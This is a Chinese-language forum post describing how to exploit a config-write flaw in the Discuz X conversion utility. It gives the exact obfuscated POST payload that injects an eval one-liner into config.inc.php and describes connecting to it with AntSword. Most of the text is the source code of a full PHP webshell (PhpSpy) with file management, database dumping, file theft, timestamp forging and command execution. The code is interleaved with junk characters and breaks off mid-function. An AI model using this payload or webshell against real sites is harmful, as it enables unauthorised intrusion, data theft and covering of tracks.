找回密码
 立即注册
搜索
查看: 7797|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

991

主题

92

回帖

5万

积分

管理员

积分
55457
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:
3 K% b' e' y& L6 s, ]: ~5 I3 b; \想要拿下一台主机A的权限:
. H" ^5 l8 B1 Z; |1 i3 v: U) t1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
# a$ W) I' u# M% y  ~  _! b" l8 e2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权4 M- @* g; N5 W
3、传上去后,得到apache用户普通权限,再提权成root8 w$ D3 L5 S# a8 R& Z
概述:
8 Z+ v/ ?. t& ^4 f  M& F, @* O这突破在一个DZ X系列自带的转换工具里面。% Z/ k" H% V' U9 n8 w) c! ?
漏洞路径:utility / convert / data / config.inc.php
- Q% `( ]1 s7 k6 R  ~1 @6 p* ~漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
/ C. ^' b( x9 _2 F; O触发突破过程:
% E3 o, s8 m7 _$ Y' s! V1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  . _, g- w/ P  I& W
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
' D. ?" _" c% y' G0 p. i5 {/ f攻击过程:
! V  d# o5 Q8 Z1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/! t9 G& p# }0 u. C3 e
- f5 U/ x  @; r
. L7 x* Z' ^# G+ g
2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
! l; d# A8 G0 y3 B. Y% o- y9 G5 x1 v6 @1 i1 l2 _. _8 U$ u! W* e) U4 \
8、通过中国蚁剑上传大码: I8 ?+ A1 t7 m

% k9 F# @$ j* H# o6 W1 {. j- t2 X" D- l! w; c/ H. R3 I5 v. M
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php
    8 V! o4 Q4 U& Q8 }7 ~

  2. ! C% x1 l9 ^% s- ~/ Q1 J* c
  3. /*****************************************************************************
    . Y( Z* r9 c- d) G4 j
  4. 2 Y+ k8 u  F, e1 h
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================
    $ y8 F& y# W& k

  6. : `* q) ^& l& U: @" }1 ?) I# Q
  7. ====5 T1 ^* [/ {& D4 ]

  8. " K6 i9 Q# i3 `* ?5 v
  9. & O7 U$ m2 W; F% T
  10. *****************************************************************************/4 r/ ?$ w! \% U  X
  11. ) w9 m9 o, i( z# c; j$ j' \
  12. error_reporting(7);
    6 E5 k# [% ~+ \; y: Y, v$ w+ p
  13. @set_magic_quotes_runtime(0);$ s9 i6 P/ H, w: z' m
  14. ob_start();: x3 F) ]0 L% Z0 w6 i
  15. $mtime = explode(' ', microtime());1 n  a' v6 e0 c# v* c4 e4 }; I: k
  16. $starttime = $mtime[1] + $mtime[0];
    ' Q/ u5 ~6 F- p3 W+ A; |2 l% R
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');+ @" ?6 [0 T2 l8 D3 r# J0 v6 N
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    " @3 ?4 J2 h& V+ e
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    % T& h% F1 N5 A6 j
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );1 n4 x) q8 {' J
  21. define('IS_GPC', get_magic_quotes_gpc());
    + X* Z- l* P. U6 L+ c; g0 P
  22. $dis_func = get_cfg_var('disable_functions');
    # s5 b- T$ R; B+ ?# `* y( j- ]
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );8 D* B" ^; J- c& ^
  24. @set_time_limit(0);
    9 f9 K( R/ W4 f# w$ U9 x
  25. ' E* \4 _9 \8 B1 ^$ F- D' s
  26. foreach(array('_GET','_POST') as $_request) {
    , }% o. W7 Q2 c0 x! ^" G
  27.         foreach($$_request as $_key => $_value) {
    0 \- @& V9 t$ P
  28.                 if ($_key{0} != '_') {
    3 u% w- M5 k  K) A! s
  29.                         if (IS_GPC) {3 v9 n" e/ b+ k* S& Q: K% N& s9 Z
  30.                                 $_value = s_array($_value);
    $ v2 D, A* h5 p$ l5 O4 O5 w
  31.                         }  h- i2 e' m% t* Z0 `3 Q. C
  32.                         $$_key = $_value;- N! r- x/ I% e; j2 g
  33.                 }) W' [7 g# N: u9 R! ~
  34.         }: A+ Y$ {. @+ X4 c+ Q% m6 p
  35. }9 c9 \! R5 V$ y* Q5 O, l' M
  36. + r. {8 a9 s, @$ W/ s: _# u
  37. /*===================== 程序配置 =====================*/
    6 Q$ e# f/ W2 b( H" ]8 A$ x
  38. $admin = array();
    2 I! X% E- J! j- `
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效% H1 Z. a/ _9 I. l( Y3 e
  40. $admin['check'] = true;
    2 E) a+ X* v  N+ T2 b0 F9 T( Z
  41. // 如果需要密码验证,请修改登陆密码  s& U! M, `' Q9 }% u
  42. $admin['pass']  = 'xuegod';8 v, w! O( S! U" z8 |% |
  43. ' J! i. I; M4 t; c. q5 |/ F
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    : @& y1 m: h! g7 f$ ]6 j
  45. // cookie 前缀
    " W3 D8 b# G' c1 d" U6 H. Q
  46. $admin['cookiepre'] = '';2 G3 D3 S1 D0 p$ o. m
  47. // cookie 作用域* K# h" y8 o4 v2 ~5 e% z
  48. $admin['cookiedomain'] = '';
    ' e- D2 J+ Q/ L9 q
  49. // cookie 作用路径+ G3 q) O3 H( r& m
  50. $admin['cookiepath'] = '/';' A) m2 E. }& M; h8 H
  51. // cookie 有效期0 |0 W/ F# l7 [6 P
  52. $admin['cookielife'] = 86400;" q5 h$ z& E3 x: b! h8 V
  53. /*===================== 配置结束 =====================*/4 u1 Z& `8 c" z1 d9 x
  54. 4 Z6 y' }* m! w0 ]8 H6 C( `! D! q
  55. if ($charset == 'utf8') {# \2 M) }& r. x! a" B8 C( D* N5 n
  56.         header("content-Type: text/html; charset=utf-8");; V) q  N! _6 k
  57. } elseif ($charset == 'big5') {( ]/ G3 P& W; D! s2 C% o/ p& s
  58.         header("content-Type: text/html; charset=big5");
    7 z8 l' |9 M' g1 |7 U
  59. } elseif ($charset == 'gbk') {
    . ^, Q3 G" _/ `9 H3 x) A! o
  60.         header("content-Type: text/html; charset=gbk");
    $ V( g$ w. `# E' X+ |
  61. } elseif ($charset == 'latin1') {7 ^4 q) @4 |4 d8 N9 C
  62.         header("content-Type: text/html; charset=iso-8859-2");
    3 L0 R( c4 ]- t
  63. }
    - |4 I4 y  g2 Q7 T( j

  64. ) N9 s+ ~6 s+ e
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    ( D/ Z2 Q- ^+ }8 c
  66. $timestamp = time();
      O* i- D) C- ?  Y" f3 P: O2 Z

  67. 2 H. t1 o3 y/ S, ^9 e
  68. /*===================== 身份验证 =====================*/$ _7 ~+ r# N" N$ o' j! p3 {
  69. if ($action == "logout") {7 {$ ]1 f& K. q2 ?4 D
  70.         scookie('phpspypass', '', -86400 * 365);- g8 t% y- d1 J5 ]
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    6 E5 T# _4 ?& _% C! E9 A9 ~# \/ ~6 y3 ^
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');3 O8 ^4 E8 \7 y" `" r
  73.         exit;( k! R3 C" L* |1 D: C  [
  74. }
    2 q7 R. d+ S, D" s7 i3 z
  75. if($admin['check']) {+ \, A, O3 H: s; l' X  y2 y- r6 f
  76.         if ($doing == 'login') {4 M; U" o2 y" K7 h& p
  77.                 if ($admin['pass'] == $password) {& E2 ?) ?  h7 o/ I3 x0 p. J
  78.                         scookie('phpspypass', $password);% Q. t! x8 A5 ]1 t* ~
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    / T. q/ R) D% S* ^! \, Z
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    2 q* F3 d: Z2 S' ^" q9 V
  81.                         exit;3 W7 d! l( K7 c/ w$ `! e6 Q  u
  82.                 }
    $ e; I" f1 H8 M
  83.         }
    / d. i% e: m8 t& C
  84.         if ($_COOKIE['phpspypass']) {  {1 e" a* a) E* E$ D
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    ! f4 Q: P) X6 h0 w& a4 I. A5 d
  86.                         loginpage();
    ' E9 {0 q. }& j+ Z# `9 a
  87.                 }2 W/ [/ X5 i$ B) ~3 n- f
  88.         } else {8 K7 V  `. d" m# ~" |1 y1 ~
  89.                 loginpage();2 H. U' W6 z6 N# U4 k  o6 L* J) |
  90.         }
    ) @" w9 M! @7 C, w
  91. }: @- L- B3 I8 B# D! _$ u5 j& p
  92. /*===================== 验证结束 =====================*/8 b! @+ o5 F  Z( ?, _- a

  93. : @7 v# ]' {7 l
  94. $errmsg = '';$ {$ F; T6 ^2 b1 e* k3 P

  95. * a% ~% H: Q* A3 w
  96. // 查看PHPINFO
    ! d8 P" d3 @9 h7 g: }  K
  97. if ($action == 'phpinfo') {
    5 V4 z; {' P* w2 h
  98.         if (IS_PHPINFO) {, S6 w" n8 _3 Z* Z
  99.                 phpinfo();* K) F  }; U( K) c+ i6 e0 f# g
  100.         } else {
    6 i% G! K& X2 I: @
  101.                 $errmsg = 'phpinfo() function has non-permissible';; L' S$ t+ M4 F
  102.         }
    , N5 S9 P9 G' x: v$ U
  103. }
    8 G" [9 T: D% }2 G3 m+ y4 m

  104. ' M- _* ?: @& m6 I3 L2 l
  105. // 下载文件: ^/ H! Q( x  |4 G# j% d; j
  106. if ($doing == 'downfile' && $thefile) {
    0 }" I9 Z8 X2 B, u
  107.         if (!@file_exists($thefile)) {
    ; m9 b6 P6 ?5 b4 O4 q; o$ E3 H& Y
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';. M9 t) P. b* k* @, `# {. L! `" ^
  109.         } else {- m& ]4 e; h/ @
  110.                 $fileinfo = pathinfo($thefile);
    , o! v$ ]! x9 n4 r: ?/ Y/ j$ Q
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);
    2 r6 F& k0 ^  n: E8 g. L
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);# Y. p- @) d/ q2 x5 W3 k5 \8 l
  113.                 header('Content-Length: '.filesize($thefile));
    $ p9 F* b. h$ b
  114.                 @readfile($thefile);4 P8 V6 G" i! [8 d$ t  t( `$ p
  115.                 exit;
    . u4 Z. n5 @2 c
  116.         }
    3 E4 j( J0 y( [+ ], _; k
  117. }& U! Q# I( U/ z
  118. 5 g- M- s& T1 s) \9 T" C2 _
  119. // 直接下载备份数据库  l3 B3 n+ ^  E
  120. if ($doing == 'backupmysql' && !$saveasfile) {
    1 b6 v4 l4 D8 J7 B9 l/ }3 H
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);  |0 I- k( A2 E, _. N
  122.         $table = array_flip($table);
    $ G, C8 J$ n" J/ H! `3 C$ N9 [
  123.         $result = q("SHOW tables");
    $ k$ E0 b, f0 Y/ Y/ O7 H
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
    3 g: y- U% ?1 l
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');; X. v7 P; M# L- g8 I. x& N0 x
  126.         header('Content-type: application/unknown');6 b1 {/ z7 C! K' r
  127.         header('Content-Disposition: attachment; filename='.$filename);
    ! n+ N$ e. U: F2 s6 _- o
  128.         $mysqldata = '';
    # t8 a, [9 o4 M) v- f4 F( s
  129.         while ($currow = mysql_fetch_array($result)) {
    " u7 s' u- R. ]7 k- \: Y9 X: `
  130.                 if (isset($table[$currow[0]])) {+ D5 e) V) H8 w8 p/ n$ S  j
  131.                         $mysqldata .= sqldumptable($currow[0]);; O( Q" r0 l) j
  132.                 }
    2 d/ L0 S- T$ {, Y, t
  133.         }
    4 K; e) k; p9 }2 U# b
  134.         mysql_close();! w4 B, T0 ?: G" @2 a2 E
  135.         exit;
    & p0 L% b" C8 m0 e0 B& U
  136. }
    3 S- ]3 V) R8 ?+ c# A/ ?6 b

  137. . Q( o1 a2 `$ K: u% S
  138. // 通过MYSQL下载文件
    8 q7 S+ b( S, n3 M
  139. if($doing=='mysqldown'){
    + `" y5 m4 e  W3 k3 g" a! E- c) ?
  140.         if (!$dbname) {
    . ]& ^7 S- K! @) ~7 b
  141.                 $errmsg = 'Please input dbname';
    % [% |( u3 q* V
  142.         } else {! Q% }5 o) s% z  V0 |1 W9 J
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    8 d, E8 c$ H0 z$ ^( S/ f
  144.                 if (!file_exists($mysqldlfile)) {" _. m& b8 t8 F
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';
    / d2 d$ \7 b% Y; [$ O7 [8 y
  146.                 } else {4 _6 y7 o& `- G1 `9 X
  147.                         $result = q("select load_file('$mysqldlfile');");
    / v1 {2 z- L; g2 `$ `8 \
  148.                         if(!$result){
    2 C1 ?2 O" j# [5 M' v& e9 F& A1 ^
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
    ( i+ n- F6 @" S. E0 T2 _3 _
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
    , u/ x9 M, Q- W& Y
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
    / x/ ^1 ?$ l9 E. Q! X
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    # ^2 b' G* Y5 q2 H( U
  153.                                 $result = q("select content from tmp_angel");
    4 ?2 A1 _' w4 G0 h# }9 {
  154.                                 q("DROP TABLE tmp_angel");
    4 w: M) }2 Y2 @* X2 P
  155.                         }
    / ?3 _4 j1 D2 S' Z  O
  156.                         $row = @mysql_fetch_array($result);3 |6 S1 G: j8 w3 W3 ^8 F
  157.                         if (!$row) {2 p( B- J2 \/ x, D3 y& h
  158.                                 $errmsg = 'Load file failed '.mysql_error();
    & U. `" O* b& T
  159.                         } else {+ |1 P: M" J7 z! i8 S9 r
  160.                                 $fileinfo = pathinfo($mysqldlfile);8 K$ {- \; K* [" r( }; I
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
    4 v3 o( W' B! }( x% I
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);; X- i2 G, W  T, I9 e
  163.                                 header("Accept-Length: ".strlen($row[0]));
    0 F3 c) `+ \9 n- `& r
  164.                                 echo $row[0];) v& X! ]* h0 L5 U7 J% l5 R! s
  165.                                 exit;
    # o; ?  Q6 n" u; o2 Q& \1 V
  166.                         }
    6 ]; z2 F+ M% _# B  O2 R9 s
  167.                 }
    - }& D) r1 k6 P. N7 a; I+ u' G) H! A( ]
  168.         }
    7 u% `  {6 g7 i8 T
  169. }; j0 q; B5 d$ H' ~
  170. / J5 w9 a" a4 \7 @8 p2 w2 a6 R: V& N
  171. ?>& ^- {4 D6 F( X) N. h
  172. <html># Y6 ]. N' f3 a+ u
  173. <head>4 I5 F* p: A: k+ R4 H
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
    ! s* i& K; ?' [# w- P2 Q9 ^
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>! g; X2 v, ~1 W; y: c1 B
  176. <style type="text/css">
    7 ^, D8 X, I4 |* J7 J( ?
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}7 J1 ^. m1 ?  F6 b( B8 H
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
    * M8 a% j, n6 _: y
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}/ M0 J, |1 x( E- n3 i
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}; h5 \1 ]% _) r) E5 W3 J
  181. a {color: #00f;text-decoration:underline;}
    # V" d( ^) Y# G. q1 d6 A' S" [
  182. a:hover{color: #f00;text-decoration:none;}6 O4 s4 \" [" P; [: T
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
    " A# I3 q" X& L) D# ]- A8 L; z
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}6 T" k: ^0 h% K! |! p( M3 c
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}) n/ h2 b( j9 V8 h4 h) F, g4 e
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    $ K  h8 r! Q2 _
  187. .head td span{font-weight:normal;}. M3 P! ?7 M- I. ^* F
  188. form{margin:0;padding:0;}& v. {$ t) h- b  B: P
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}9 i; J& F. I( S/ {' {( I
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}. I6 f3 Q5 Q5 U$ P* f" ]# A
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
    * K5 n- |+ {0 V( x2 _. z
  192. </style>$ _4 e- z; @6 C5 `
  193. <script type="text/javascript">! p7 C' [# a0 z9 v
  194. function CheckAll(form) {9 K! q( C4 \2 G" P
  195.         for(var i=0;i<form.elements.length;i++) {
    " [' C6 I" v2 ~$ I, E
  196.                 var e = form.elements[i];5 ~% r4 }6 ]+ @
  197.                 if (e.name != 'chkall')
    0 J& Q1 i& _( W2 A& u& @9 D
  198.                 e.checked = form.chkall.checked;
    3 F+ i1 c% n- [7 R8 S2 n
  199.     }' `% `; e& T- q" x) |& r* u, w
  200. }0 \" `! h( W7 k. G
  201. function $(id) {" y) _& _$ |* l/ c6 \6 J0 Q( @; I
  202.         return document.getElementById(id);3 m, g" R, ^! J! K8 r: I5 v7 r) u1 n; z
  203. }
    / l1 ~' m! ?" n; b( i7 `
  204. function goaction(act){
    # R; P* ]3 ]4 E& ]  K7 `4 w' k  R. J# e
  205.         $('goaction').action.value=act;6 `/ S  |0 x. p, W* e! Z1 [" _
  206.         $('goaction').submit();% J5 {" m: }/ M' p
  207. }
    ! B4 f1 X, k. {6 D) f  l  m- O& D# I1 ^5 |
  208. </script>
    ; j; P' p+ d7 s3 ?7 {- R9 g
  209. </head>2 b2 `% a% |# F- s9 ~6 r
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    8 D. n6 ?% d$ C/ ^
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">  q0 F6 ~# V3 B4 e0 ?3 x
  212.         <tr class="head"># R9 X7 {& e9 X6 h, h5 I
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
    : w' V! a$ y; {9 q2 N
  214.         </tr>7 G3 y1 E" t. Y- ^
  215.         <tr class="alt1">
    & T+ Q# ]! q# \( I# z; P) L
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
    + z# Y) o& R9 N. c- O
  217.                         <a href="javascript:goaction('logout');">Logout</a> | 0 J  A. u- Q, F2 \
  218.                         <a href="javascript:goaction('file');">File Manager</a> |
    4 L) \! f* T3 X( o1 }
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | ! G; K1 C) _  n& }% x- W" ]
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
    / B8 z, t$ ]0 y/ j
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
    / h2 @+ M8 {, C2 h3 M$ e9 @
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    : s( F) q3 P, B  ^1 t* _) Z0 c
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>7 V# |" e6 \* j$ w! ^, w3 a2 G6 ^
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    # J- f  v2 l/ k+ |2 X
  225.                 </td>. M8 ^- ]# L6 p1 c6 y4 [/ _& _" N
  226.         </tr>+ p7 ^- T/ z. ]9 |
  227. </table>2 T: B# t1 i9 ?8 K- f
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>! a9 f# |; ~: S: y8 @7 ?  k
  229. <?php
    5 g2 M' b* {- i, d3 s9 _0 G
  230. 8 r) u* ~' `2 I, |( g, g( W
  231. formhead(array('name'=>'goaction'));
    ' E, l# f: i4 l5 i  F
  232. makehide('action');. l! J- J3 N% w0 E
  233. formfoot();2 t5 A: u$ l6 O; `$ T7 f4 N. M

  234. % \3 U1 h  `  \$ i/ O
  235. $errmsg && m($errmsg);
    . I5 |- H! F4 [  \

  236. % E3 Z0 @  B& S5 m
  237. // 获取当前路径8 |$ b& L; J5 y! x% u
  238. !$dir && $dir = '.';2 [/ q. I7 F* e; X$ k- k
  239. $nowpath = getPath(SA_ROOT, $dir);$ u. ^$ |3 B% f* r/ c
  240. if (substr($dir, -1) != '/') {% G8 G9 b; g, }" ]  @* n* H5 ?
  241.         $dir = $dir.'/';9 a' G( D$ m2 M. f0 O
  242. }
    1 r- k# Z8 j  s1 x# p3 b
  243. $uedir = ue($dir);0 g$ P6 W; q$ h" Y4 E- f
  244. % s% Z# z+ n  V/ f, K' T
  245. if (!$action || $action == 'file') {- J  m) H+ _3 N" Y4 |0 _. r
  246. $ v8 c$ h  H& b8 k0 q/ h! Q; R
  247.         // 判断读写情况
    9 a5 D/ }  f: J: X! R
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
      d0 A- F/ h  U% j
  249. # \7 L2 @. u; T6 g2 g$ R0 s# u  [
  250.         // 删除目录: T4 L6 s2 n+ n
  251.         if ($doing == 'deldir' && $thefile) {- B9 w- {8 l  e- \4 q' s" t
  252.                 if (!file_exists($thefile)) {, B5 ^0 S% h& r$ K9 v. o
  253.                         m($thefile.' directory does not exist');
    / f. X/ U5 B0 I# S- l4 w
  254.                 } else {5 S. x  J6 C  H5 D& G
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));  j8 _  l* t, n
  256.                 }
    4 w* F' i4 |+ U2 b- L3 u: u
  257.         }
    # d7 f) ?+ e) N, N9 y2 m* b
  258. 5 K; K% @) E; j+ t  v; B/ ~7 N
  259.         // 创建目录6 I0 J7 S0 w: b) I% [
  260.         elseif ($newdirname) {5 h6 Z! o  i3 e' i7 Y
  261.                 $mkdirs = $nowpath.$newdirname;
    " H! M- g! m2 D# M) T/ J
  262.                 if (file_exists($mkdirs)) {/ K& {3 i5 I- ^( F! ]
  263.                         m('Directory has already existed');
    0 O  L0 v8 a7 [2 k/ \  G
  264.                 } else {: i9 @# ~& g6 I
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));9 v; G  M2 G4 @9 V5 S
  266.                         @chmod($mkdirs,0777);  \- M, p4 E3 c. l: D. m( ^
  267.                 }4 b6 _! z# b& }; v, i( w! s) L
  268.         }2 q) n8 }. R6 h# b9 K& r
  269. , [2 \8 m& l' M# s* v8 d; F' ]
  270.         // 上传文件
    4 C6 l* ~% E+ Z. ?9 l
  271.         elseif ($doupfile) {. P+ h) e, R0 a
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));( U) `7 B* p% v$ l% q; j; y
  273.         }
    2 p5 M& E: x, R' z3 a$ j0 I! G
  274. 4 l& {# A& i2 v
  275.         // 编辑文件- f/ p. \0 X' ~, x" h
  276.         elseif ($editfilename && $filecontent) {
    / g/ s. b: i. z+ n. i. B
  277.                 $fp = @fopen($editfilename,'w');
    % W3 A8 a  p1 t8 X
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));/ k; x& ]  k1 @3 I9 x. g
  279.                 @fclose($fp);
    0 F# c$ K' ^2 o5 a7 S! ]
  280.         }; t  `& n! O; t. Y

  281. ; x; [1 D/ t( L
  282.         // 编辑文件属性
    ) w7 J/ L: Z* q; G
  283.         elseif ($pfile && $newperm) {3 J7 P: \. q1 {; `
  284.                 if (!file_exists($pfile)) {
    0 q! G0 e# M4 t; w0 v
  285.                         m('The original file does not exist');0 N  F/ e# m6 F8 O
  286.                 } else {+ U, t0 e$ K/ l5 ?% o
  287.                         $newperm = base_convert($newperm,8,10);
    * V- y& ~$ ?! h
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
    ; G$ `( e; {0 h3 f6 N# {$ N* |5 b
  289.                 }
    ; `" u1 Z5 M. k5 j) n, t
  290.         }
    6 {3 q6 }3 `3 j# A* j
  291. % U/ B# C1 d6 T* I. ?# @. n4 |1 `! _
  292.         // 改名
    % Y, d6 Q1 U, r5 z  j" Z+ }8 a0 _
  293.         elseif ($oldname && $newfilename) {3 ~4 Y7 d' c/ l$ S& @/ Y4 s1 v
  294.                 $nname = $nowpath.$newfilename;# u% `5 I% Y, l" K5 Y
  295.                 if (file_exists($nname) || !file_exists($oldname)) {/ H- A; K# u9 J
  296.                         m($nname.' has already existed or original file does not exist');
    3 W+ `. w" r6 V9 e0 ~
  297.                 } else {
    1 t* e0 ?; C- }+ g
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
    3 P* j6 J+ K; p
  299.                 }5 @% o5 S9 e, C
  300.         }
    1 w! Y( N: q# f$ }$ s1 c" `& z
  301. . O0 |% I: s* l9 y* w, d; Q; h
  302.         // 复制文件
    - u/ }7 U' d9 z, a, H3 U
  303.         elseif ($sname && $tofile) {
    9 z2 ~1 g# x  c% _) b: b- ^, L
  304.                 if (file_exists($tofile) || !file_exists($sname)) {8 H- [7 F+ D8 N3 P/ M6 w6 E3 j# I2 O
  305.                         m('The goal file has already existed or original file does not exist');
    - N3 M- b. `# ?
  306.                 } else {
    0 V  d' L) r5 x- g3 w2 b
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    7 |+ Z. P5 ?: y% k7 m' Y9 \0 i; M/ C6 w
  308.                 }
    ; s) u; M' @0 a, r/ _8 {: }: v
  309.         }
    ( y" M% p& i! x% C5 w" P5 x* }* `
  310. . T: B) r* a5 p2 `* H  }) J9 z& J
  311.         // 克隆时间8 }' r+ P. ]/ u
  312.         elseif ($curfile && $tarfile) {
    * G4 x! d; m7 U% c, q
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {+ R# z/ A( a* c$ E  I; S! @
  314.                         m('The goal file has already existed or original file does not exist');" y( @3 X0 {9 m
  315.                 } else {
    9 s/ e/ A6 c: {! K7 e9 ~
  316.                         $time = @filemtime($tarfile);2 t0 [4 `: I; }7 ]) F# d* S& w8 ~
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));$ f; m* ?$ B9 j7 U. E! h/ T/ G
  318.                 }
    . ^- O2 C5 B" V, _! p( h! c
  319.         }. F$ l- e" @, v

  320. * r. L& p. u+ y9 w7 P
  321.         // 自定义时间
    2 D5 _$ e' a( H9 |* Z1 i
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
    ! f! c  b7 x9 E: Z
  323.                 if (!@file_exists($curfile)) {
    9 D! {7 V3 [& b' ]. w2 r$ C1 S$ K
  324.                         m(basename($curfile).' does not exist');- Y, b) M" T0 B- J; Y
  325.                 } else {
    , u4 n. {; t9 ~3 H6 B
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");/ d' V* [" u* j; z! i: b" U
